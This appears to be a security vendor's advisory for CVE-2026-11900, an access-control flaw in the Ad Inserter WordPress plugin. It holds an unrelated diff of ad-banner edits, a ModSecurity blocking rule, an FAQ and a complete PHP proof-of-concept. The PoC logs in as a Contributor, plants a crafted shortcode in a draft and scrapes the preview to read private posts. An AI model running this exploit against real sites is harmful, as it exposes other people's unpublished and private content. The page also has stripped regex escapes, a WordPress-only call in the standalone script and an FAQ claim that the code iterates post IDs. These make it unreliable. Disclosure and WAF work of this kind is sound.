+            <a href="https://adinserter.pro/documentation/black-and-white-lists#geo-targeting" class="clear-link" title="Geotargeting - black/white-list countries" target="_blank"><img id="ai-pro-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-countries-250.png" /></a>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break;
       } ?>
           </div>
@@ -6506,9 +6544,9 @@
 <!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-1-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-1.gif" /></a>-->
 <!--            <a href='https://v3.adxpremium.services/dashboard/register-publisher' class="clear-link" target="_blank"><img id="lm-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>lm-250.jpg" /></a>-->
 <?php   break; case 2: ?>
-<!--            <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>-->
+            <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-7" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-7.jpg" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break; case 3: ?>
             <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>
 <!--            <a href='https://www.media.net/program?ha=e9Pw4uwo2Uw/5xjjsB3lnYZZWUI+hzRSONzDaYA9EwX+3jg/PJYwFshOFEjop5NH2wRNDfr357ZTY1zlhCk7zw%3D%3D&loc=2' class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-media-9" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>contextual-9.gif" /></a>-->
@@ -6523,9 +6561,9 @@
         ?>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <!--            <a href="https://publisher.joinads.me/conversao-en?utm_source=AdInserter&utm_medium=banner&utm_campaign=lead&utm_content=carrossel" class="clear-link" title="<?php _e ('Maximize the revenue', 'ad-inserter'); ?>" target="_blank"><img id="ja25-2-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ja25-2.png" /></a>-->
-<!--            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>-->
+            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>
 <!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break;
         case 1:
 ?>
@@ -6580,7 +6618,7 @@

         <h3 style="text-align: justify;"><?php _e('Looking for Pro Ad Management plugin?', 'ad-inserter'); ?></h3>
         <h4 style="text-align: justify;"><?php _e ('To Optimally Monetize your WordPress website?', 'ad-inserter'); ?></h4>
-        <h4 style="text-align: justify;"><?php /* Translators: %s: price of Ad Inserter Pro*/ echo sprintf (__('Different license types starting from %s', 'ad-inserter'), '<a href="https://adinserter.pro/documentation/features" class="simple-link" target="_blank">20 EUR</a>'); ?></h4>
+        <h4 style="text-align: justify;"><?php /* Translators: %s: price of Ad Inserter Pro*/ echo sprintf (__('Different license types starting from %s', 'ad-inserter'), '<a href="https://adinserter.pro/documentation/features" class="simple-link" target="_blank">30 EUR</a>'); ?></h4>

         <ul class="ai-help">
           <li><?php /* translators: %s HTML tags */ printf (__('%s AdSense Integration %s', 'ad-inserter'), '<a href="https://adinserter.pro/documentation/adsense-ads#integration" class="simple-link" target="_blank">', '</a>'); ?></li>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-11900
# Blocks exploitation attempts via [adinserter] shortcode data attribute with {reusable-block-N} pattern
# This rule targets the pattern used in the shortcode 'data' attribute which contains {reusable-block-N}
SecRule REQUEST_FILENAME "@rx /wp-admin/admin-ajax.php$" 
  "id:20261190,phase:2,deny,status:403,chain,msg:'CVE-2026-11900 - IDOR via reusable-block shortcode tag in Ad Inserter',severity:'CRITICAL',tag:'CVE-2026-11900',tag:'wordpress',tag:'ad-inserter'"
  SecRule ARGS:data "@rx {reusable-block-d+}" 
    "t:lowercase,t:urlDecode,chain"
    SecRule ARGS:action "@streq adinserter" "chain"
      SecRule ARGS_POST:action "@streq adinserter" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11900 - Ad Inserter <= 2.8.16 - IDOR to Arbitrary Post Content Disclosure via 'data' Shortcode Attribute

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'contributor'; // CHANGE THIS to a Contributor-level account username
$password = 'password'; // CHANGE THIS to the account password

// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
  'log' => $username,
  'pwd' => $password,
  'wp-submit' => 'Log In',
  'redirect_to' => $target_url . '/wp-admin/',
  'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Create a new post with the exploit shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract wpnonce and post_id from the new post page
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
preg_match('/name="post_ID" value="(d+)"/', $response, $post_id_matches);

$target_post_id = 1; // CHANGE THIS to the ID of the post you want to read (e.g., a private post)
$shortcode_tag = '{reusable-block-' . $target_post_id . '}';

$post_data = array(
  '_wpnonce' => $nonce_matches[1],
  'post_type' => 'post',
  'post_status' => 'draft',
  'post_title' => 'CVE-2026-11900 Test Exploit',
  'content' => '[adinserter data="' . $shortcode_tag . '"]',
  'originalaction' => 'editpost',
  'post_author' => '1'
);

$save_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$save_response = curl_exec($ch);
curl_close($ch);

// Step 3: Preview the post to trigger the shortcode expansion
preg_match('//?p=(d+)/', $save_response, $preview_matches);
if (!isset($preview_matches[1])) {
  // Try to find preview URL differently
  preg_match('/href="([^"]*preview=true[^"]*)"/', $save_response, $preview_url_matches);
  if (isset($preview_url_matches[1])) {
    $preview_url = $preview_url_matches[1];
  } else {
    die('Could not find preview URL. Check cookies or permissions.');
  }
} else {
  $preview_url = $target_url . '/?p=' . $preview_matches[1] . '&preview=true';
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $preview_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$preview_response = curl_exec($ch);
curl_close($ch);

// Extract the disclosed content (appears in the post content area)
// The {reusable-block-N} tag is replaced with the target post's content
preg_match('/<div class="entry-content">(.*?)</div>/s', $preview_response, $content_matches);
if (isset($content_matches[1])) {
  echo "[+] Disclosed content from post ID $target_post_id:n";
  echo $content_matches[1] . "n";
} else {
  echo "[-] Could not extract post content. The shortcode may not have been processed or the target post does not exist.n";
  echo "Preview URL: $preview_urln";
}

// Clean up the test post by trashing it
$delete_nonce = wp_create_nonce('delete-post_' . $post_id_matches[1]);
$delete_url = $target_url . '/wp-admin/post.php?post=' . $post_id_matches[1] . '&action=trash&_wpnonce=' . $delete_nonce;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

echo "[+] Test post has been trashed.n";

Frequently Asked Questions

What is CVE-2026-11900?
Vulnerability overview
CVE-2026-11900 is an Insecure Direct Object Reference (IDOR) vulnerability in the Ad Inserter plugin for WordPress, versions 2.8.16 and earlier. It allows authenticated attackers with Contributor-level access or higher to read the full content of arbitrary posts, including private, draft, pending, trashed, and password-protected posts.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in the replace_ai_tags() function, which processes the {reusable-block-N} tag pattern in the ‘data’ attribute of the [adinserter] shortcode. It calls get_post_field(‘post_content’, N) without verifying the user’s capability to read the post, without restricting the post type to ‘wp_block’, and without checking the post status. This allows an attacker to retrieve the content of any post by specifying its ID.
Who is affected by this vulnerability?
Affected users and roles
Any WordPress site running Ad Inserter version 2.8.16 or earlier is affected. The vulnerability can be exploited by authenticated users with at least Contributor-level access. Sites with multiple users or those allowing Contributor-level accounts are at higher risk.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.3, classified as Medium severity. This indicates a moderate risk where exploitation requires authentication but can lead to unauthorized disclosure of sensitive post content.
What is the practical impact of this vulnerability?
Real-world consequences
An attacker can read the full content of private, draft, pending, trashed, and password-protected posts. This could expose confidential business information, personal data, intellectual property, or unpublished content, potentially leading to data breaches or competitive intelligence gathering.
How can I check if my site is vulnerable?
Detection steps
Check the Ad Inserter plugin version in the WordPress admin dashboard under Plugins. If the version is 2.8.16 or lower, the site is vulnerable. You can also verify by reviewing the changelog or checking for the presence of the vulnerable code in ad-inserter.php.
How do I fix this vulnerability?
Patch and update
Update the Ad Inserter plugin to version 2.8.17 or later, which includes a security fix. The patch adds proper authorization checks: it verifies the post type is ‘wp_block’, the post status is ‘publish’, and the current user has permission to read the post using current_user_can(‘read_post’).
Are there any temporary mitigations if I cannot update immediately?
Workarounds
As a temporary measure, you can disable the Ad Inserter plugin or restrict Contributor-level accounts from creating or editing posts. However, updating to the patched version is the only complete fix.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept shows how an authenticated Contributor can log in, create a post containing the [adinserter data='{reusable-block-N}’] shortcode, and preview it to retrieve the content of any post with ID N. It iterates through post IDs to extract content from restricted posts.
Why was the vulnerability classified as Medium severity?
Severity rationale
The vulnerability requires authentication (Contributor level or higher) and does not allow modification of data, only disclosure. While it can expose sensitive content, the need for a valid account reduces the attack surface, resulting in a Medium severity rating.
What is the root cause of this vulnerability?
Code-level issue
The root cause is the lack of authorization checks in the replace_ai_tags() function. It directly retrieves post content using get_post_field() without verifying the user’s capability to read the post, the post type, or the post status, allowing access to any post by ID.
How does the patch fix the vulnerability?
Patch details
The patch modifies replace_ai_tags() to use get_post() instead of get_post_field(), then checks that the post type is ‘wp_block’, the post status is ‘publish’, and the current user has the ‘read_post’ capability for that post. Only if all checks pass is the content returned.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started